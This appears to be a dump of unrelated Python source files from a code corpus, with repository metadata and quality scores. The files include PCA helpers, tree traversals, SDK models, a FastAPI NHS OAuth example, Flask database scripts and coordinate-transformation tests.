[32.9730697624544,-15.5839178785654],
[13.4211493998212,-20.150199857584],
[11.380538260355,-12.8619410359766],
[28.672631499186,-8.51866271785711],
[16.4296061111902,-23.3326051279759],
[25.7168371582585,-13.8899296143829],
[13.3185154732595,-17.8959160024249],
[3.60832478605376,-25.4023343597712],
[39.5445949652652,-11.466377647931],
[25.1693484426101,-12.2752652925707],
[25.2884257196471,-7.06710309184533],
[6.77665715793125,-22.3947299635571],
[20.1844223778907,-16.0427471125407],
[25.5506805272535,-9.33856532270204],
[25.1495682602477,-7.17350567090738],
[15.6978431006492,-17.5979197162642],
[37.42780451491,-10.843637288504],
[22.974620174842,-10.6171162611686],
[34.6327117468934,-9.26182440487384],
[34.7042513789061,-6.9630753351114],
[15.6563953929008,-17.2196961218915],
[25.2049825789225,-14.1592086208169]
]
print(first_principal_component(de_mean(pca_data)))
def project(v: Vector, w: Vector) -> Vector:
projection_length = lesson3.dot(v, w)
return scalar_multiply(projection_length, w)
def remove_projection_from_vector(v: Vector, w: Vector) -> Vector:
return subtract(v, project(v, w))
def remove_projection(data: List[Vector], w: Vector) -> List[Vector]:
return [remove_projection_from_vector(v, w) for v in data]
def pca(data: List[Vector], num_components: int) -> List[Vector]:
components: List[Vector] = []
for _ in range(num_components):
component = first_principal_component(data)
components.append(component)
data = remove_projection(data, component)
return components
def transform_vector(v: Vector, components: List[Vector]) -> Vector:
return [lesson3.dot(v, w) for w in components]
def transform(data: List[Vector], components: List[Vector]) -> List[Vector]:
return [transform_vector(v, components) for v in data]
| 3.6875 | 4 |
tree_dsa_one/1_tree_traversal.py | amanalok/python-dsa | 0 | 12768833 | <reponame>amanalok/python-dsa<gh_stars>0
class Node:
def __init__(self, data):
self.data = data
self.left = None
self.right = None
def __repr__(self):
if type(self.data) != 'str':
return str(self.data)
return self.data
def inorder(root, is_last_node=False):
if root:
inorder(root.left)
print('{}->'.format(root), end='')
inorder(root.right)
return
def preorder(root):
if root:
print('{}->'.format(root), end='')
preorder(root.left)
preorder(root.right)
return
def postorder(root):
if root:
postorder(root.left)
postorder(root.right)
print('{}->'.format(root), end='')
return
def level_order(root):
if root is None:
return
queue = []
queue.append(root)
while(len(queue) > 0):
print(queue[0].data, end=' ')
node = queue.pop(0)
if node.left is not None:
queue.append(node.left)
if node.right is not None:
queue.append(node.right)
return
def build_tree_one():
root = Node(1)
root.left = Node(2)
root.right = Node(3)
root.left.left = Node(4)
root.left.right = Node(5)
return root
def build_tree_two():
root = Node(1)
root.left = Node(12)
root.right = Node(9)
root.left.left = Node(5)
root.left.right = Node(6)
return root
if __name__ == '__main__':
tree_one = build_tree_one()
print('*** Tree One ***')
print('Inorder Traversal')
inorder(tree_one)
print('\nPreorder Traversal')
preorder(tree_one)
print('\nPostorder Traversal')
postorder(tree_one)
print('\nLevel Order Traversal')
level_order(tree_one)
tree_two = build_tree_two()
print('\n\n*** Tree Two ***')
print('Inorder Traversal')
inorder(tree_two)
print('\nPreorder Traversal')
preorder(tree_two)
print('\nPostorder Traversal')
postorder(tree_two)
print('\nLevel Order Traversal')
level_order(tree_two)
| 3.40625 | 3 |
contentcuration/contentcuration/management/commands/garbage_collect.py | Tlazypanda/studio | 1 | 12768834 | <reponame>Tlazypanda/studio
"""A management command that deletes the following from the database:
- ContentNodes older than 2 weeks, whose parents are in the designated "garbage
tree" (i.e. `settings.ORPHANAGE_ROOT_ID`). Also delete the associated Files in the
database and in object storage.
"""
from django.core.management.base import BaseCommand
from contentcuration.utils.garbage_collect import clean_up_contentnodes, clean_up_deleted_chefs
class Command(BaseCommand):
def handle(self, *args, **options):
"""
Actual logic for garbage collection.
"""
# clean up contentnodes, files and file objects on storage that are associated
# with the orphan tree
clean_up_contentnodes()
clean_up_deleted_chefs()
| 2.015625 | 2 |
setup.py | dendisuhubdy/deep_complex_networks | 641 | 12768835 | <reponame>dendisuhubdy/deep_complex_networks
#!/usr/bin/env python
from setuptools import setup, find_packages
with open('README.md') as f:
DESCRIPTION = f.read()
setup(
name='DeepComplexNetworks',
version='1',
license='MIT',
long_description=DESCRIPTION,
packages=find_packages() + find_packages('musicnet/'),
package_dir={'musicnet': 'musicnet/musicnet'},
scripts=['scripts/run.py', 'scripts/training.py', 'musicnet/scripts/train.py',
'musicnet/scripts/resample.py'],
install_requires=[
"numpy", "scipy", "sklearn", "Theano", "keras", "intervaltree",
"resampy", "mimir", "kerosene"]
)
| 1.296875 | 1 |
alipay/aop/api/domain/AlipayPcreditHuabeiAuthAgreementQueryModel.py | articuly/alipay-sdk-python-all | 0 | 12768836 | <reponame>articuly/alipay-sdk-python-all<gh_stars>0
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import simplejson as json
from alipay.aop.api.constant.ParamConstants import *
class AlipayPcreditHuabeiAuthAgreementQueryModel(object):
def __init__(self):
self._agreement_no = None
self._alipay_user_id = None
self._auth_scene = None
self._out_sign_no = None
@property
def agreement_no(self):
return self._agreement_no
@agreement_no.setter
def agreement_no(self, value):
self._agreement_no = value
@property
def alipay_user_id(self):
return self._alipay_user_id
@alipay_user_id.setter
def alipay_user_id(self, value):
self._alipay_user_id = value
@property
def auth_scene(self):
return self._auth_scene
@auth_scene.setter
def auth_scene(self, value):
self._auth_scene = value
@property
def out_sign_no(self):
return self._out_sign_no
@out_sign_no.setter
def out_sign_no(self, value):
self._out_sign_no = value
def to_alipay_dict(self):
params = dict()
if self.agreement_no:
if hasattr(self.agreement_no, 'to_alipay_dict'):
params['agreement_no'] = self.agreement_no.to_alipay_dict()
else:
params['agreement_no'] = self.agreement_no
if self.alipay_user_id:
if hasattr(self.alipay_user_id, 'to_alipay_dict'):
params['alipay_user_id'] = self.alipay_user_id.to_alipay_dict()
else:
params['alipay_user_id'] = self.alipay_user_id
if self.auth_scene:
if hasattr(self.auth_scene, 'to_alipay_dict'):
params['auth_scene'] = self.auth_scene.to_alipay_dict()
else:
params['auth_scene'] = self.auth_scene
if self.out_sign_no:
if hasattr(self.out_sign_no, 'to_alipay_dict'):
params['out_sign_no'] = self.out_sign_no.to_alipay_dict()
else:
params['out_sign_no'] = self.out_sign_no
return params
@staticmethod
def from_alipay_dict(d):
if not d:
return None
o = AlipayPcreditHuabeiAuthAgreementQueryModel()
if 'agreement_no' in d:
o.agreement_no = d['agreement_no']
if 'alipay_user_id' in d:
o.alipay_user_id = d['alipay_user_id']
if 'auth_scene' in d:
o.auth_scene = d['auth_scene']
if 'out_sign_no' in d:
o.out_sign_no = d['out_sign_no']
return o
| 1.984375 | 2 |
third_party/lowtran-2.4.1/lowtran/__init__.py | bgorr/instrupy | 1 | 12768837 | <filename>third_party/lowtran-2.4.1/lowtran/__init__.py
"""
<NAME>, Ph.D.
Python wrapper of the venerable LOWTRAN7 atmospheric absorption and solar transmission
model circa 1992.
Note: specified Lowtran7 model limitations include
wlcminvstep >= 20 cm^-1
0 <= wlcminv <= 50000
historical note:
developed on CDC CYBER, currently runs on 32-bit single float--this can cause loss of numerical
precision, future would like to ensure full LOWTRAN7 code can run at 64-bit double float.
user manual:
www.dtic.mil/dtic/tr/fulltext/u2/a206773.pdf
"""
from .base import nm2lt7, golowtran # noqa: F401
from .scenarios import scatter, irradiance, radiance, transmittance, horizrad, horiztrans, userhoriztrans # noqa: F401
| 1.359375 | 1 |
buildAll.py | Rizwan-Hasan/pyside2-default-project | 1 | 12768838 | # -*- coding: utf-8 -*-
import os
import subprocess
import sys
import platform
from ruamel.yaml import YAML
from ruamel.yaml.compat import StringIO
class MyYAML(YAML):
def dump(self, data, stream=None, **kw):
inefficient = False
if stream is None:
inefficient = True
stream = StringIO()
YAML.dump(self, data, stream, **kw)
if inefficient:
return stream.getvalue()
def runCommand(command: list):
proc = subprocess.Popen(command, stderr=subprocess.PIPE)
out, err = proc.communicate()
if err:
msg = err.decode("utf-8")
print(msg, file=sys.stderr)
return proc.returncode
def uic(inputFile: str, outputFile: str):
if platform.system().lower() == 'windows':
command: list = ['pyside2-uic', inputFile, '-o', outputFile]
else:
command: list = ['uic', '-g', 'python', inputFile, '-o', outputFile]
return runCommand(command)
def rcc(inputFile: str, outputFile: str):
if platform.system().lower() == 'windows':
command: list = ['pyside2-rcc', inputFile, '-o', outputFile]
else:
command: list = ['rcc', '-g', 'python', inputFile, '-o', outputFile]
return runCommand(command)
def clean(verbose: bool = True):
with open('build.yml', 'r', encoding='utf-8') as file:
for i in MyYAML().load(file.read()):
try:
os.remove(i['pyName'])
except FileNotFoundError:
pass
if verbose is True:
print('cleaned {0}'.format(i['pyName']))
def main(verbose: bool = True):
with open('build.yml', 'r', encoding='utf-8') as file:
for i in MyYAML().load(file.read()):
if i['type'] == 'ui':
try:
os.remove(i['pyName'])
except FileNotFoundError:
pass
uic(i['name'], i['pyName'])
if verbose is True:
print('{0} > {1}'.format(i['name'], i['pyName']))
elif i['type'] == 'qrc':
try:
os.remove(i['pyName'])
except FileNotFoundError:
pass
rcc(i['name'], i['pyName'])
if verbose is True:
print('{0} > {1}'.format(i['name'], i['pyName']))
if __name__ == '__main__':
main()
| 2.40625 | 2 |
src/main.py | alexvanacker/notilichess | 0 | 12768839 | import li
import json
# testing util
if __name__ == "__main__":
# execute only if run as a script
users=["Le_Scratch","justmaker","kazeriahm","Khrok","fauzi061089", "Vladismen", "kapuso", "Vadum-tv", "El-Nino9", "mathemagician18", "jongy", "shtrubi", "Teju12345", "papasi", "dalmatinac101"]
for line in li.stream(users):
print(li.game_to_message(line))
| 2 | 2 |
tests/unit/api_test.py | fossabot/tilde-1 | 22 | 12768840 |
import os, sys
import unittest
from tilde.core.api import API
from tilde.core.settings import BASE_DIR, EXAMPLE_DIR
class Test_API(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.sample = API()
def test_count_classifiers(self):
available_classifiers = []
path = os.path.realpath(BASE_DIR + '/../classifiers')
for classifierpath in os.listdir(path):
if os.path.isfile(os.path.join(path, classifierpath)) and classifierpath.endswith('.py') and classifierpath != '__init__.py':
available_classifiers.append(classifierpath)
self.assertEqual(len(self.sample.Classifiers), len(available_classifiers),
"Expected to have %s, but got %s modules. May be unused classifier occured since?" % (len(available_classifiers), len(self.sample.Classifiers)))
def test_formula(self):
self.assertEqual(self.sample.formula(['H', 'O', 'C', 'H', 'H', 'C', 'H', 'H', 'H' ]), 'C2H6O', "Formula was errorneously generated!")
def test_savvyize_simple(self):
path = os.path.join(EXAMPLE_DIR, 'CRYSTAL')
found = self.sample.savvyize(path)
self.assertEqual(len(found), 3,
"Unexpected number of files has been found in %s: %s. May be number of files has been changed since?" % (path, len(found)))
def test_savvyize_recursive(self):
path = os.path.join(EXAMPLE_DIR, 'VASP')
found = self.sample.savvyize(path, recursive=True)
self.assertEqual(len(found), 2,
"Unexpected number of files has been found in %s: %s. May be number of files has been changed since?" % (path, len(found)))
def test_savvyize_stemma(self):
path = os.path.join(BASE_DIR, 'co')
found = self.sample.savvyize(path, recursive=True, stemma=True)
found = [module for module in found if not module.endswith('.pyc')] # NB Python3 is accounted
self.assertEqual(len(found), 2,
"Unexpected number of files has been found in %s: %s. May be number of files has been changed since?" % (path, len(found)))
| 2.5 | 2 |
credentials.py | Ianwanarua/Password-locker | 1 | 12768841 | <reponame>Ianwanarua/Password-locker
class Credentials:
"""
Class that generates new instances of credentials.
"""
credentials_list = []
def __init__(self,account_name, username, password):
"""
__init__method to help us create new instances of the class credentials
"""
self.account_name = account_name
self.username = username
self.password = password
def save_account(self):
"""Method to save new account to the credentials_list"""
Credentials.credentials_list.append(self)
@classmethod
def account_exist(cls, username):
'''
Method that checks if an account exists from the credentials list.
Returns :
Boolean: True or false depending if the account exists
'''
for Credentials in cls.credentials_list:
if Credentials.username == username:
return True
return False
@classmethod
def find_by_account_name(cls, account_name):
"""
method to search account by account name
"""
for account in cls.credentials_list:
if account.account_name == account_name:
return account
def delete_account(self):
'''
method to delete a saved account credentials from the credentials_list
'''
Credentials.credentials_list.remove(self)
@classmethod
def display_account(cls):
'''
method that returns the credentials list
'''
return cls.credentials_list
| 4.0625 | 4 |
code/yss_analyze.py | andrewilyas/covid-household-transmission | 1 | 12768842 | <filename>code/yss_analyze.py
# Copyright 2020 <NAME>
# Source: https://github.com/syadlowsky/growth-rate-estimation
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import numpy as np
import statsmodels.api as sm
class ExponentialGrowthRateEstimator(object):
def __init__(self, cumulative=True, approximate_beta=0.2, family="NegativeBinomial", alpha=0.1):
"""
Accepts hyperparameters necessary for fitting the generalized linear
model, and converting the observed data into data to be passed in to
the model fit. See the description on `fit` for more details about
these hyperparameters and how they are used.
"""
self.cumulative = cumulative
self.glm = None
self.fitted_glm = None
self.approximate_beta = approximate_beta
self.family = family
self.alpha = alpha
def fit(self, day, cases, baseline=None):
"""
Fits the exponential growth model to data provided by the day and cases.
day is a numpy array of the date associated with a number of cases.
cases is the number of cases on the corresponding day.
baseline provides a sequence that is subtracted off the number of cases
to remove other cases (for example ILI cases that are not COVID-19 related).
If self.cumulative is True, then these counts are expected to be cumulative,
and we take the differences between the cases on one day and the next to
get the new cases on a given day (which is what we fit the model to).
If there are missing days in cumulative counts, we try to interpolate the cases
by finding the appropriate average cases per day and attributing them to a
(weighted) average day in the interval, weighted by the exponential growth factor
passed to the constructor as approximate_beta.
If there are missing days in "new" cases, we assume that the cases reported for
each day are only the new cases for that day, not including cases from missing
days.
"""
if baseline is None:
baseline = np.zeros(cases.shape[0])
covid_cases = cases - baseline
if self.cumulative:
# Not totally convinced this is the right way to handle irregular
# intervals. It seems to work ok, though. It is robust, but I
# don't know how biased it is.
covid_cases = np.diff(covid_cases).astype(float)
exposure_lengths = np.diff(day).astype(float)
covid_cases /= exposure_lengths
exposure_adjustment = self._exposure_adjustment(exposure_lengths)
day = day[1:] + exposure_adjustment
if self.family == "Poisson":
fam = sm.families.Poisson()
if self.family == "NegativeBinomial":
alpha = self.alpha
if alpha is None:
print("Please specify a value of alpha to use with the NegativeBinomial distribution")
fam = sm.families.NegativeBinomial(alpha=alpha)
self.glm = sm.GLM(covid_cases, sm.add_constant(day), family=fam)
self.fitted_glm = self.glm.fit()
return self.fitted_glm
def _exposure_adjustment(self, delta_ts):
return np.array([self._exposure_adjustment_for_interval_length(delta_t) for delta_t in delta_ts])
def _exposure_adjustment_for_interval_length(self, delta_t):
return np.log(np.sum(np.exp(self.approximate_beta * np.arange(delta_t))) / delta_t) / self.approximate_beta
def summary(self):
if self.fitted_glm is None:
return "No model fit yet"
return self.fitted_glm.summary()
def growth_rate(self):
if self.fitted_glm is None:
return "No model fit yet"
return np.exp(self.fitted_glm.params[1]) - 1
def growth_rate_confint(self):
"""
Returns 95% confidence intervals for the growth rate,
based on the family of distributions used for the generalized
linear model.
"""
if self.fitted_glm is None:
return "No model fit yet"
confint = self.fitted_glm.conf_int(cols=(1,))
return np.exp(confint[0, 0]) - 1, np.exp(confint[0, 1]) - 1
def test(active_cases=False):
days = np.arange(100, 130)
new_cases = np.random.poisson(np.exp(0.2 * days))
total_cases = np.cumsum(new_cases)
if active_cases:
total_cases[12:] -= total_cases[:-12]
model = ExponentialGrowthRateEstimator()
model.fit(days, total_cases)
print(model.summary())
def test_exposure_adjustment():
test_object = ExponentialGrowthRateEstimator(approximate_beta=0.2)
print(test_object._exposure_adjustment_for_interval_length(1))
print(test_object._exposure_adjustment_for_interval_length(2))
print(test_object._exposure_adjustment_for_interval_length(3))
if __name__=="__main__":
test_exposure_adjustment()
test()
print("Notice that this method is pretty robust to only using active cases:")
test(active_cases=True)
| 1.554688 | 2 |
baekjoon/10039.py | jiyeoun/PS | 0 | 12768843 | sum=0
for i in range(5):
a=int(input())
if a<40:
a=40
sum+=a
print(sum//5) | 3.609375 | 4 |
ncdc/gentfw.py | akrherz/radcomp | 3 | 12768844 | <gh_stars>1-10
import mx.DateTime, sys, pg, random
v = sys.argv[1]
ts = mx.DateTime.strptime(v, "%Y%m%d%H%M")
out = open("n0r%s.tfw" % (v,), "w")
out.write(
""" 0.0100000000000%s
0.00000
0.00000
-0.010000000000000%s
-126.000000
50.0000"""
% (v, random.randint(0, 1000))
)
out.close()
sys.exit(0)
mydb = pg.connect("postgis", "iemdb-postgis.local")
mydb.query("SET TIME ZONE 'GMT'")
sql = "SELECT * from nexrad_n0r_tindex WHERE datetime = '%s'" % (
ts.strftime("%Y-%m-%d %H:%M"),
)
sql2 = (
"INSERT into nexrad_n0r_tindex( the_geom, datetime, filepath) values \
('SRID=4326;MULTIPOLYGON(((-126 50,-66 50,-66 24,-126 24,-126 50)))', '%s', '/mesonet/ARCHIVE/data/%s/GIS/uscomp/n0r_%s.png')"
% (
ts.strftime("%Y-%m-%d %H:%M"),
ts.strftime("%Y/%m/%d"),
ts.strftime("%Y%m%d%H%M"),
)
)
rs = mydb.query(sql).dictresult()
if len(rs) == 0:
mydb.query(sql2)
| 1.929688 | 2 |
core/label.py | Seagate/SystemsRedfishPy | 0 | 12768845 | #
# Do NOT modify or remove this copyright and license
#
# Copyright (c) 2019 Seagate Technology LLC and/or its Affiliates, All Rights Reserved
#
# This software is subject to the terms of the MIT License. If a copy of the license was
# not distributed with this file, you can obtain one at https://opensource.org/licenses/MIT.
#
# ******************************************************************************************
#
# label.py - A module used to encode and decode internal variables accessible to interactive
# sessions and scripts.
#
# ******************************************************************************************
#
from core.trace import TraceLevel, Trace
################################################################################
# Label
################################################################################
class Label:
ldict = {'Unknown': 'Label not found in dictionary.'}
#
# encode - Store a value for a label
#
@classmethod
def encode(cls, label, value):
try:
cls.ldict[str(label)] = value
except Exception as e:
Trace.log(TraceLevel.ERROR, ' -- encode: Unable to store label ({}) and vlaue {}: Exception: {}'.format(label, value, str(e)))
pass
#
# decode - Return the value for a label, or the default value provided. If the variable is a list, use the index to extract the value.
#
@classmethod
def decode(cls, label, default = None, index = 0):
labelValue = default
labelString = None
try:
# Handle a string label, and a list of strings
if isinstance(label, str):
labelString = label
elif isinstance(label, list):
labelString = str(label[index])
if labelString in cls.ldict.keys():
labelValue = cls.ldict[labelString]
except Exception as e:
# Return the default value
Trace.log(TraceLevel.DEBUG, ' -- decode: Unable to get label value ({}): Exception: {}'.format(label, str(e)))
pass
return labelValue | 1.679688 | 2 |
main.py | JMathiszig-Lee/nhsAPIs | 1 | 12768846 | <gh_stars>1-10
import os
import ast
from fastapi import FastAPI, Request
from fastapi.params import Depends
from fastapi.security import APIKeyCookie
from starlette.responses import Response, RedirectResponse
from requests_oauthlib import OAuth2Session
import parse_scr
app = FastAPI()
BASE_URL = "https://sandbox.api.service.nhs.uk"
AUTHORISE_URL = "https://sandbox.api.service.nhs.uk/oauth2/authorize"
ACCESS_TOKEN_URL = "https://sandbox.api.service.nhs.uk/oauth2/token"
SUMMARY_CARE_URL = "https://sandbox.api.service.nhs.uk/summary-care-record/FHIR/R4"
cookie_sec = APIKeyCookie(name="session")
# replace "redirect_uri" with callback url,
# which you registered during the app registration
# this needs to be your own url or ngrok tunnel
redirect_uri = "http://d7c4-208-127-199-137.ngrok.io/callback"
# replace with your api key
client_id = os.environ.get("CLIENT_ID")
# replace with your secret
client_secret = os.environ.get("CLIENT_SECRET")
@app.get("/")
async def root():
return {"message": "hello world"}
@app.get("/login")
def login(response: Response):
nhsd = OAuth2Session(client_id=client_id, redirect_uri=redirect_uri)
authorization_url, state = nhsd.authorization_url(AUTHORISE_URL)
return RedirectResponse(authorization_url)
@app.get("/callback")
def callback(response: Response, request: Request, code, state):
print("callback")
nhsd = OAuth2Session(client_id=client_id, redirect_uri=redirect_uri, state=state)
token = nhsd.fetch_token(
token_url=ACCESS_TOKEN_URL,
client_secret=client_secret,
include_client_id=client_id,
authorization_response=request.url,
code=code,
)
response = RedirectResponse("/scr")
response.set_cookie("session", token)
return response
@app.get("/scr")
async def summary_care_record(token=Depends(cookie_sec)):
# need ast.literal eval as otherwise token is a string and we get errors
nhsd = OAuth2Session(client_id, token=ast.literal_eval(token))
NHS_no = 9995000180
FHir_identifier = f"https://fhir.nhs.uk/Id/nhs-number|{NHS_no}"
user_restricted_endpoint = nhsd.get(
f"{SUMMARY_CARE_URL}/DocumentReference", params={"patient": FHir_identifier}
).json()
scr_address = user_restricted_endpoint["entry"][0]["resource"]["content"][0][
"attachment"
]["url"]
scr = nhsd.get(scr_address).json()
parsed = await parse_scr.parse_scr(scr)
return {"scr": parsed}
| 2.609375 | 3 |
constants.py | Di-Ny/LoRaPacketForwarderDomoticzConfigurator | 0 | 12768847 | <reponame>Di-Ny/LoRaPacketForwarderDomoticzConfigurator
# Some constants to work for https://github.com/Di-Ny/LoRaPacketForwarderDomoticzConfigurator
#
# Author: DiNy
###########
## Global
GW_UNIT_ID=10
###########
## LORA
DR_2_SFBW_EU868 = {
"0":["12","125.0","5"],
"1":["11","125.0","5"],
"2":["10","125.0","5"],
"3":["9","125.0","5"],
"4":["8","125.0","5"],
"5":["7","125.0","5"],
"6":["7","250.0","5"],
"7":["12","125.0","7"],
"8":["12","62.5","5"],
"9":["12","62.5","7"],
"10":["12","31.25","5"],
"11":["12","31.25","7"],
"12":["10","125.0","7"],
"13":["10","62.5","5"],
"14":["10","62.5","7"],
"15":["8","62.5","5"]
}
| 1.46875 | 1 |
services/image-rec-master/service/__init__.py | uavaustin/orchestra | 1 | 12768848 | """Records new images for workers and uploads targets."""
import aiohttp
import aioredis
from .app import create_app
class Service:
def __init__(self, port, imagery_host, imagery_port, interop_host,
interop_port, redis_host, redis_port, max_auto_targets):
"""Create a new image-rec-master service."""
self._port = port
app = create_app(
redis_url=f'redis://{redis_host}:{redis_port}',
imagery_url=f'http://{imagery_host}:{imagery_port}',
interop_url=f'http://{interop_host}:{interop_port}',
max_auto_targets=max_auto_targets
)
self._app = app
self._runner = aiohttp.web.AppRunner(self._app)
async def start(self):
"""Start the service."""
app = self._app
runner = self._runner
app['http_client'] = aiohttp.ClientSession(loop=app.loop)
app['redis'] = await aioredis.create_redis_pool(
app.get('redis_url'), minsize=5, maxsize=10, loop=app.loop
)
await runner.setup()
site = aiohttp.web.TCPSite(runner, '0.0.0.0', self._port)
await site.start()
async def stop(self):
"""Stop the service."""
app = self._app
runner = self._runner
await runner.cleanup()
app['redis'].close()
await app['redis'].wait_closed()
await app['http_client'].close()
| 2.734375 | 3 |
flask_application/script.py | dbdeadbeat/refurence | 4 | 12768849 | import json, os
from flask import current_app, url_for
from flask.ext.script import Command
from flask.ext.security.confirmable import confirm_user
from flask_application.models import FlaskDocument
from flask_application.profiles.models import Profile, ImageTable
from flask_application.guides.models import Guide, Step
class ResetDB(Command):
"""Drops all tables and recreates them"""
def run(self, **kwargs):
self.drop_collections()
@staticmethod
def drop_collections():
for klass in FlaskDocument.all_subclasses():
klass.drop_collection()
class PopulateDB(Command):
"""Fills in predefined data to DB"""
users = (
('user', '<EMAIL>', 'password', ['user'], True),
)
def run(self, **kwargs):
self.create_roles()
self.create_users()
self.create_profiles()
self.create_guides()
@staticmethod
def create_roles():
for role in ('admin', 'editor', 'author', 'user'):
current_app.user_datastore.create_role(name=role, description=role)
current_app.user_datastore.commit()
@staticmethod
def create_users():
for u in PopulateDB.users:
user = current_app.user_datastore.create_user(
username=u[0],
email=u[1],
password=u[2],
roles=u[3],
active=u[4]
)
confirm_user(user)
current_app.user_datastore.commit()
@staticmethod
def create_profiles():
for u in PopulateDB.users:
profile = Profile(username=u[0])
profile = Profile.initialize_to_default(profile)
profile.is_example = True
profile.save()
@staticmethod
def create_guides():
guides = PopulateDB._get_guides_data()
for g in guides:
g.save()
@staticmethod
def _get_guides_data():
with open('resources/guides.json', 'r') as f:
content = f.read()
guides = json.loads(content)['guides']
out = []
for g in guides:
newGuide = Guide(title=g['title'], slug=g['slug'], abstract=g['abstract'])
for s in g['steps']:
if s['img']:
newStep = Step(body=s['body'], img=s['img'])
else:
newStep = Step(body=s['body'])
newGuide.steps.append(newStep)
out.append(newGuide)
return out
class UpdateDB(PopulateDB):
def run(self, **kwargs):
self.update_guides()
@staticmethod
def update_guides():
Guide.drop_collection()
guides = UpdateDB._get_guides_data()
for g in guides:
g.save()
class AddDefaultProfile(PopulateDB):
def run(self, **kwargs):
self._add_defaultprofile()
@staticmethod
def _add_defaultprofile():
profile = Profile.objects(is_default=True)
if profile:
profile.delete()
profile = Profile.create_default_profile()
| 2.421875 | 2 |
tests/test_trans_ro.py | cristianbuse/PyTransDatRO | 2 | 12768850 | <filename>tests/test_trans_ro.py
import pytest
import math
import pytransdatro
@pytest.fixture
def st70_pnts():
"""Dictionary of points with Stereo70 coordinates for testing.
These coordinates were extracted from the
"Help_TransDatRO_code_source_EN.pdf" document found in
"TransDatRO_code_source_1.03" folder at link:
https://rompos.ro/index.php/download/category/2-software
"""
return {
'P1': (693771.731, 310723.518, 122.714),
'P2': (721361.806, 641283.450, 217.451),
'P3': (516470.189, 165265.572, 86.267),
'P4': (402327.815, 713143.130, 22.941),
'P5': (329703.378, 333185.413, 260.515),
'P6': (249343.594, 518651.464, 89.294),
'P7': (528076.247, 411159.899, 494.894)
}
@pytest.fixture
def etrs89_pnts():
"""Dictionary of points with ETRS89 coordinates in radians for testing.
These coordinates were computed using "TransDatRO v4.06", the official
application for transformation between Stereo70 and ETRS89 coordinate
reference systems. Download link is available here:
https://rompos.ro/index.php/download/category/2-software
The DMS result of TransDatRO v4.06 is included below:
P1, 47°42'56.40000"N, 22°28'31.99998"E, 162.087
P2, 47°58'33.20000"N, 26°53'26.70002"E, 250.711
P3, 46°03'57.39999"N, 20°40'11.60000"E, 129.232
P4, 45°05'18.20001"N, 27°42'23.99999"E, 54.828
P5, 44°26'51.30001"N, 22°54'09.30000"E, 301.963
P6, 43°44'37.19999"N, 25°13'48.10001"E, 128.724
P7, 46°14'47.59999"N, 23°50'46.10001"E, 535.704
"""
return {
'P1': (0.832795488117441, 0.392272445562385, 162.087),
'P2': (0.8373372226820751, 0.4693321259276279, 250.711),
'P3': (0.8040024035478642, 0.3607576171325035, 129.232),
'P4': (0.7869408405792202, 0.4835725580374142, 54.828),
'P5': (0.7757566737697043, 0.39972548637904465, 301.963),
'P6': (0.7634710101797448, 0.44034705514033184, 128.724),
'P7': (0.8071546621024385, 0.4161936375474547, 535.704)
}
@pytest.fixture
def coo_rad_tol():
"""Tolerance in radians (maximum accepted difference against a reference
value) of computed geographic coordinates.
Value of 00° 00' 0.00003" as per document
"Help_TransDatRO_code_source_EN.pdf", page 3
"""
return 0.00000000014544410
@pytest.fixture
def coo_plan_tol():
"""Tolerance in meters (maximum accepted difference against a reference
value) of computed grid coordinates as per document
"Help_TransDatRO_code_source_EN.pdf", page 3
"""
return 0.003
@pytest.fixture
def coo_elev_tol():
"""Tolerance in meters (maximum accepted difference against a reference
value) of computed elevation as per document
"Help_TransDatRO_code_source_EN.pdf", page 3
"""
return 0.003
def test_st70_to_etrs89_2D(st70_pnts, etrs89_pnts, coo_rad_tol):
"""Test for the Stereo 70 to ETRS89 coordinate transformation without
elevation
(N,E) -> (lat,lon)
Input of "st70_pnts" should transform to "etrs89_pnts"
"""
# arrannge
t = pytransdatro.TransRO()
sut = {}
# act
for k, v in st70_pnts.items():
sut[k] = t.st70_to_etrs89(v[0], v[1])
# assert
for k in sut:
assert math.isclose(sut[k][0], etrs89_pnts[k][0], abs_tol = coo_rad_tol)
assert math.isclose(sut[k][1], etrs89_pnts[k][1], abs_tol = coo_rad_tol)
def test_st70_to_etrs89_3D(st70_pnts, etrs89_pnts, coo_rad_tol, coo_elev_tol):
"""Test for the Stereo 70 to ETRS89 coordinate transformation with elevation
(N,E,H) -> (lat,lon,h)
Input of "st70_pnts" should transform to "etrs89_pnts" (elevation included)
"""
# arrannge
t = pytransdatro.TransRO()
sut = {}
# act
for k, v in st70_pnts.items():
sut[k] = t.st70_to_etrs89(v[0], v[1], v[2])
# assert
for k in sut:
assert math.isclose(sut[k][0], etrs89_pnts[k][0], abs_tol = coo_rad_tol)
assert math.isclose(sut[k][1], etrs89_pnts[k][1], abs_tol = coo_rad_tol)
assert math.isclose(sut[k][2], etrs89_pnts[k][2], abs_tol = coo_elev_tol)
def test_etrs89_to_st70_2D(st70_pnts, etrs89_pnts, coo_plan_tol):
"""Test for the ETRS89 to Stereo 70 coordinate transformation without
elevation
(lat,lon) -> (N,E)
Input of "etrs89_pnts" should transform to "st70_pnts"
"""
# arrannge
t = pytransdatro.TransRO()
sut = {}
# act
for k, v in etrs89_pnts.items():
sut[k] = t.etrs89_to_st70(v[0], v[1])
# assert
for k in sut:
assert math.isclose(sut[k][0], st70_pnts[k][0], abs_tol = coo_plan_tol)
assert math.isclose(sut[k][1], st70_pnts[k][1], abs_tol = coo_plan_tol)
def test_etrs89_to_st70_3D(st70_pnts, etrs89_pnts, coo_plan_tol, coo_elev_tol):
"""Test for the ETRS89 to Stereo 70 coordinate transformation with elevation
